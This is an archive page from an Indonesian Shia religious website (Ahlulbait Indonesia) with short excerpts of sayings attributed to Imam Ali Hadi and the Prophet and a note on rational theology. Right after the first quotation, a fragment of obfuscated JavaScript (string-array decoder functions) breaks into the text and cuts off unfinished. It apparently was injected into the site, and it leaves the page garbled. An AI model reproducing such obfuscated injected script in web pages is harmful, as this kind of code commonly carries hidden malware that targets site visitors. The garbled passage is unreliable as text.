Situs Resmi Komisi Bimbingan dan Dakwah Syura Ahlulbait Indonesia (ABI)
Home2022 (Page 30)

February 2022

Imam Ali Hadi a.s.: Manusia yang bersyukur akan suatu nikmat, akan lebih merasa bahagia dengan rasa syukurnya, dibanding nikmat yang diterimanya. Sebab nikmat itu hanya kesenangan, se­dang syukur adalah suatu nikmat yang sekaligus dapat pa­hala. [Tuhaf Al-'Uqul, Hal. 483] function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const

Pembahasan problem dan analisis teologi oleh para Imam Ahlulbait a.s, di antaranya dalam kitab Nahjul Balaghah merupakan bukti paling awal dan sebab utama munculnya pendekatan rasional dan filosofis dalam dunia intelektual Syiah. Pendekatan ini tidak bisa dicap sebagai suatu bid'ah, karena pijakannya dilandasi oleh Alquran.

Diriwayatkan Rasulullah Saw kepada para sahabatnya: “Maukah kuberitahu kalian orang-orang yang palingjahat di antara kalian?” Mereka menjawab: “Ya, wahai Rasulullah.” Beliau Saw bersabda: “Mereka yang menyebarkan adu domba dan memecah­ belah di antara saudara-saudaranya yang saling menyintai dan yang menuduhkan kejelekan pada orang-orang baik (bersih).” Al-Khishal, hal. 183, hadis ke-259; Mizanul Hikmah,